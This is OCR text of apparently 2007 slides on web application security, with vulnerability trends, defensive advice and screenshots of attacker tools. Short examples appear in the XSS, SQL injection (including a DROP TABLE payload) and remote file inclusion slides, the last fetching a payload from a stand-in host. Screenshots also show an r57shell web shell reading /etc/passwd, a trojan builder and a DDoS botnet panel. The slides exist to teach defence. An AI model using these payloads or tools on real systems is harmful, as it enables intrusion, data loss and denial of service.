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G Security issues - 1/2
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* Difficult to keep up-to-date with security patches:
— Auto-update often unavailable/impossible
— Must actively monitor announcements lists
— Customisation of the application is often required

— Difficult to detect insecure or unpatched versions by running
network-level scans

° A better software design and packaging would help




Cy Security issues - 2/2
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° Web applications are easy targets for attackers:

— Web Applications often provide non mature code compared to
traditional network services

— Automated attacks are effective/scalable

- Many exploits are remotely executable, cross-platform, and require
no compilation

— Vulnerable services easily identifiable/searchable

* What is the motivation to attack Web applications?
— Attackers choose the easiest target to obtain CPU/bandwidth
— Obtain OS or back-end database access for further attacks
— Mostly money (Phishing, SPAM, extortion/DDoS, Click fraud)
— User-friendly, professionally supported, malware toolkits



G Security vulnerabilities
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There are different common Webapps vulnerabilities:
Cross-Site Scripting (XSS)
SQL injection
SSI injection/Remote file inclusion (RFl)
Code injection
Cross-Site Request Forgery (CSRF)

Most common vulnerabilities by class (Top 5)

Cross-Site Scripting

S5l Injection

SQL Injection

HTTP Response Splitting
Information Leakage
Other

|.63%
13.86%

000000

(2006)
http://en.wikipedia.org/wiki/Category:Web security exploits
http://osvdb.org/browse.php
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http://www.webappsec.org/projects/statistics/

Cross-site Scripting (XSS)
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Mozilla Eirefox

File Edit Yiew History Bookmarks Tools Help {}

@ T hv" N @ &y ﬁ:f ||:| flogin.php?error=Unknown+user ﬁ|"| P"] |' Google |L”‘\] i

Error: Unknown user

Done L

Mozilla Eirefox

File Edit Yiew History Bookmarks Tools Help {}

@ T ‘_V) - @ &y ﬁ:r | p?error=<b>HTML</b><i>code ﬁ|'| b-] |'

Google |L&] -

Error: HTMLcode

Done L A

R




SQL Injection
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Mozl S HIrETox

File Edit Wiew History Bookmarks Tools Help {:}
(@ - - @ X m ||:| login.php?user=romain&pass=secret @|v| D'l |v|ih-:n:n:| E |'~<\,l -
Random network service
Name: |
Password: |
Login |
| Done | B i B ﬁ‘
SELECT foo FROM sometable WHERE user="$user' and password='$pass';

SELECT foo FROM sometable WHERE user='romain' and password='secret’;

Mozl aTEIrefox

File Edit Yiew History Bookmarks Tools Help {:}
(?f] - - @ % | m‘ | pr?user=' OR '1'="1 &pass=anything ﬁ|v| EI-] |v Google |'~4~_] -
Random network service
Name: |
Password: |
Login
Done T

SELECT foo FROM sometable WHERE user="OR '1'='1' and
password='anything’;

SELECT foo FROM sometable WHERE user='romain' and
password="\'; DROP TABLE foo; --';



e Remote File inclusion
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Mozilla Birefox

| File Edit WView History Bookmarks Tools Help {:}

@ T > - @ X | ﬁ:r | lex.phptusetemplate=news ﬁ|f| P-] |v|-:3-:--:--:_ = |"t] -
News

Done resrensil G

<?php- ’

!;equire($_GET['$usetemp|ate']);
2>

& Mozilla Biretox

File Edit )iew History Bookmarks Tools Help {:}

@ - * - @ X | G:r | 'usetemplate=http://foo.com/payload.php E|T| Br] |v|-:3-:--:--:_ ] |'~1,] -
EVIL CODE

Done S S |

<?php -
!;equire('http://foo.com/payload.php');
>




GIEICIC) Vulnerable websites proportion
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Percentage of websites vulnerable by class (Top 5)

%% M Cross-Site Scripting
B SQL Injection

75% B Information Leakage
B HTTP Response Splitting
B Path Traversal

sox [l Other

25%

0%

Study from the Web Application Security Consortium, conducted in
2006 against 31,373 websites

http://www.webappsec.org/projects/statistics/



Shift in the overall

vulnerabilities trend

Mitre has recorded 26000 common vulnerabilities and exposures
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Rank Flaw TOTAL 2001 2002 2003 2004 2005 2006

Total 18809 1432 2138 1190 2546 4559 6944

[1] XSS 13.8% 02.2% (11) 08.7% ( 2) 07.5% ( 2) 10.9% ( 2) 16.0% ( 1) 18.5% ( 1)
2595 31 187 89 278 728 1282

[2] buf 12.6% 19.5% ( 1) 20.4% (1) 22.5% (1) 15.4% ( 1) 09.8% ( 3) 07.8% ( 4)
2361 279 436 268 392 445 541

[3] sql-inject 09.3% 00.4% (28) (12) 03.0% ( 4) 05.6% ( 3) 12.9% ( 2) 13.6% ( 2)
1754 6 38 36 142 588 944

[4] php-include 05.7% 00.1% (31) 00.3% (26) 01.0% (13) 02.1% ( 6) 13.1% ( 3)
1065 1 7 12 36 96 913

[5] dot 04.7% 08.9% ( 2) 05.1% ( 4) 02.9% (5) 04.2% ( 4) 04.3% ( 4) 04.5% ( 5)
388 127 110 34 106 196 315

[ 6] infoleak 03.4% 02.6% ( 9) 04.2% ( 5) 02.8% ( 6) 03.8% ( 5) 03.8% ( 5) 03.1% ( 6)
646 37 89 33 98 175 214

[7] dos-malform 02.8% 04.8% ( 3) 05.2% ( 3) 02.5% ( 8) 03.4% ( 6) 01.8% ( 8) 02.0% ( 7)
521 69 111 30 86 83 142

[ 8] link 01.8% 04.5% ( 4) 02.1% ( 9) 03.5% ( 3) 02.8% ( 7) 01.9% ( 7) 00.4% (16)
341 64 45 42 72 87 31

[ 9] format-string 01.7% 03.2% ( 7) 01.8% (10) 02.7% ( 7) 02.4% ( 8) 01.7% ( 9) 00.9% (11)
317 46 39 32 62 76 62

[10] crypt 01.5% 03.8% ( 5) 02.7% ( 6) 01.5% ( 9) 00.9% (16) 01.5% (10) 00.8% (13)

278 55 58 18 69 56

There is a clear shift to XSS (1), SQL injection (2) and RFI (3).

http://cwe.mitre.org/documents/vuln-trends/index.html
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e Developers
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° Do NOT trust ANYTHING coming from a browser

* Additional hints
— Check all input by design, even if not directly visible to users

— Use the validation functions provided by your environment
(try to avoid re-inventing the wheel)

— Never solely rely on the security of the framework

- Keep your framework up-to-date - it can be a target
(ex: CVE-2007-0041, CVE-2007-3495, CVE-2007-2385)

— Beware of the information revealed by error messages/pages
— Require (re)-authentication for privileged operations
— Keep your support lists private



Cy Service managers
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Try to apply all security patches in a timely manner

Subscribing a generic email address to the announcement list of the
Web application vendor usually helps

Whenever possible, implement additional safeguards
Ex: SELinux, ModSecurity (http://www.modsecurity.org/)

Try to compartmentalise Web applications
Avoid customised installation and avoid plugins
Change the default password(s)

Follow recommendations about monitoring and logging
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http://www.modsecurity.org/

e Security teams
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° Inform the service managers, developers and users
about the risks of Web applications

° Encourage privileged staff to use two different Web
browsers

°* Try to encourage your organisation to run centrally
managed Web applications

— Ex: Wikis

°* Try to reduce the exposure of the Web services




&
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Do not ighore security warnings from the Web browser

Whenever possible, disable Javascript/Flash/ActiveX
Ex: Firefox “NoScript”

Avoid following links to sensitive portals and type the
URL by hand

Whenever possible, logout as soon as possible and/or
close your browser when your session is completed

Whenever available, use SSL
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CHEE Conclusion
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°* There is a clear shift towards Web applications in the
vulnerabilities trends

° Exploits are easy to builds and targets easy to find

* Sanitising all user input is essential

* It is essential to adapt our code to these threats




Eile Edit View History Bookmarks Tools Help

I

[4]

<,|E| - - @ ﬁ} ||_| nttp://me g u el | |v|@l-| g, !@]v
13-09-2007 10:32:57 [ phpinfo ] [ phpdni ] [cpu] [ mem ] [users ]| [ tmp ] [ delete ] B
' safe_mode: OFF PHPF version: 4.3.9 cURL: ON MySQL: ON MSS0L: OFF PostgreSOL: OFF Oracle: OFF
¢ 137shell 1.3 Disable functions : NONE
HDD Frese : 15.12 GB HDD Total : 17.27 GB
uname -a:| Linux ™ 8 @mew 2.6.9-42.0.10.EL.cernsmp #1 SMP Thu Mar 1 15:11:46 CET 2007 i686 i686 1386 GNU/Linux
sysctl ;| Linux 2.6.9-42.0.10.EL.cernsmp
$0STYPE : | linux-gnu
Server : | Apache/2.0.52 (Red Hat)
id:| uid=48( gid=28( groups=33767,46114,48 (apache) context=root:system _r:httpd_svs_script_t
pwd : | jvar/www/himl ( drwxr-xr-x)
Executed command: Is -lia
total 128
1566752 drwxr-xr-x 2 root root 4896 Sep 13 18:32 .
1566724 -x 7 root root 40896 Jul 15 09:13
1567662 - r--r-- 1 root root 103431 Sep 13 10:32 r57shell.php
i Execute command on server «v i;
Run command |
Work directory L’varfwwwﬂmmﬂ | Execute
:: Edit files aw ::
File for edit [var/www/html | Editfile
it Aliases aw
Selectalias | find suid files | | Execute
i Find text in files aw ::
Find text fext Find
In dirs L’varfwwwﬂlmﬂ *{ froot;/home;/tmp )
Only in files [ [ixt; php * [ .txt;.php;.htm )
:t Search text in files via find v ::
Text for find ffext Find
Find in folder L’varfwwwﬂlmﬂ * [ jroot;/home;ftmp )
Find in files |"‘ [hc] * ¥0U CAN USe regexp
:: Eval PHP code & ::
/¥ delete script */
J/unlink("r57shell.php");
Jireadfile("/etc/passwd");
Execute
it Upload files on server a» ::
Local ﬂlol Browse... |
MNew name |_| | Upload
o Tl Alne From. [ ———
Done
e W

INCOU-NI"OUVO00DD



Cy Pinch 2
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2= pinch 2 PRO builder ) =10 x|

File About  Buid 260

EEETI| = W pinchi 28 priof
Pratacal

SMTF| HTTF I

—l—l e " SMTFP & HTTP " FILE

FILE Propertie

Path; Iut.l:uin j

PwD | Run | s | NET [[ED e | kil |

IE | Woim | IRC-bot |

—BackDoar feature
¥ FTF Part: |2525 E"I
v ‘when online D Iasdf j Mame: IFTP:] vI

Login:

v Corsale Puit: |2|:|5|:| vl

[T Encrypt W Packing: & FSG ¢ UP< ¢ MEW COMPILE |

http://pandalabs.pandésecurity. com/archive/PINCH 2C00 -THE-TROJAN-
CREATOR.aspx
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www.bankofamerica.com

VisualBreeze

www.citibank. co.in

delstore02.sg.del.com

amazZon.com
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http://pandalabs.pandasecurity.com/archive/A-new-server-hosting-a-Briz.aspx

BotMaster.net: Powertul 5E0 sofiware - Mozilla

Hirefox

Help

File Edit View History Bookmarks Tools
Q.j = M |

https:/fiwww.botmaster.net/

Lgd)

software package +
full forums databases

Parser -
search engine results
processor, forms links
databases

=
-
1

@Daﬁm‘lpﬂnn | . Purchase

Coming socon!

- XBumer is the premier automated link-building tool. Through the use of this tool
you will see a significant increase in the number of unique visitors to your site,
as well as sea your site jump in the search engine result pages. The tool is
popular among both novices and gurus because of both its flexibility, power, and
effectiveness. XBumer is extremely reliable and its fully automated workflow
makas link-building a breeza.

Details... | Frequently asked questions | Price formation

We could call it the heart of XRumer to which Hrefer is a FREE supplement.
What it does is simply collects the links to forums, blogs, wikis, questboolks, etec.
However, the features of this software make Hrefer the ideal companion to
XBumer. Hrefer is able to parse sewveral major Search Engines with highly
diversified queries for maximum efficiency. Advanced options allow a user to
specify additional parameters to SE queries such as domain zone filtering, the
type of needed links (e.g. forums or gquestboolks), complete anonymity through
constantly updated list of proxy-servers; collected links are stored in a .txt file
for maximum flexibility of use (no proprietary formats here!). Ease of use and
the amazing results make Hrefer the unconquered leader in link collecting.

Mote: XRumer purchasers get Hrefer for free!

Details... | Frequently asked questions | Price formation

- | Dae -




Types of human verification codes thats can recognize XRumer B Ot m a St e r
aANobLUE ize9sss Plakbyind mtitL

528149 Attt md by

Types of human verification codes thats can recognize XRumer 2.0

LR e A

T

LI Y EELER
8699A070 - BOR 720 087187

542642

MEPTQD

Please retype thiz code below : FEDG
|

- To avoid spammers, please enter 57720 into the following box

Types of human verification codes thats can recognize new version - XRumer 2.9

Copyright BotMaster.Net, 2006 20



Barracuda
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| Options | Commands center | | ooos | | Proxy | | logout |

Total Bots: 14788 Total Proxy; 3866
Online Bots: 647 Qnline Proxy: 171

Total Tasks: 11
1 ” Target || Total Bots || Start Time || Stop Time " Status |
1635384658 hittp:// < . ru/ 1366 2007/05/14 07:00 2007/05/14 08:00 STOR =
£51700216 g3.z2z. 1IN 12133 2007/05/14 08:00 2007/05/17 08:00 START x
2032543256 L [ENER 7439 2007/05/14 08:00 2007/05/14 19:00 STOP =
2092179710 . £523 2007/05/14 08:00 2007/05/16 08:00 START b4
gE23462568 | BEER 7094 2007/05/14 08:00 2007/05/14 19:00 STOP x
1347554044 http s/ S oo IR 7455 2007/05/14 08:00 2007/05/15 08:00 STOP b
1476661261 http://wwwesecurity [N 7465 2007/05/14 08:00 2007/05/16 08:00 STOP >
£10850932 http://Forum I 7474 2007/05/14 08:00 2007/05/15 08:00 STOP g
1045677470 - [EErEm 7559 2007/05/14 08:00 2007/05/15 08:00 STOP *
1360451754 http:/fwww oo RN 8657 2007/05/14 08:00 2007/05/15 09:00 STOP x
1050903850 ao.z41. [N 9191 2007/05/14 08:00 2007/05/16 03:00 START >

/= Add DDOS - Windows Internet Explorer
& | Y addddos, phpedit=861700916

e 1)selectBots ]
SELECT ALL FROM bottable WHERE [ | [Fele]

or
Enter Sots Count: [ ]

2) Enter Job Info
Ddos start time: [2007/05/14 08:00 ][ Calendar |

Ddos step time: [z007/05/17 08:00 [ calendar |

Ddos ip/host name: [83.222. |

Tep flood | randem  ~| port=[50 ]

Udp flood ports: [0 |

Hitp flaod [eeT ¥ ports [E0 |

Icmp flood
Ip =posf (snly tep)
Status [sTART ¥

Lista &P Internet | 100% T

http://pandalabs.pandasecurity.com

INFSO-RI-508833 21



Enabling Grids for E-sciencE

Web applications security

Questions?

NWW.eu- eg ee.o rg Information Society

and Media

EGEE-II INFSO-RI-031688 EGEE and glLite are registered trademarks



Cy - References



http://cern.ch/security/webapps/
http://cern.ch/security/SecureSoftware/checklist.htm
http://www.honeynet.org/papers/webapp/
http://blogs.pandasoftware.com/blogs/images/PandaLabs/2007/05/11/MPack.pdf
http://pandalabs.pandasecurity.com/archive/Cybercrime_2E002E002E00_-for-sale-_2800_II_2900_.aspx
http://www.windowsecurity.com/articles/Cross-Site-Scripting-Underestimated-Exploit.html
http://www.oreillynet.com/onlamp/blog/2006/04/informal_thoughts_on_ajax_and.html
http://www.sourcerally.net/regin/8-The-PHP-coder's-top-10-mistakes-and-problems
http://www.securityfocus.com/archive/1/478553
http://acmqueue.com/modules.php?name=Content&pa=showpage&pid=496
http://blogs.zdnet.com/Ou/?p=226
http://en.wikipedia.org/wiki/Category:Web_security_exploits
http://www.darkreading.com/document.asp?doc_id=125321
http://shiflett.org/articles/foiling-cross-site-attacks
http://www.zimbra.com/blog/archives/2006/09/securing_ajax.html
https://cic.gridops.org/index.php?section=roc&page=securityissues

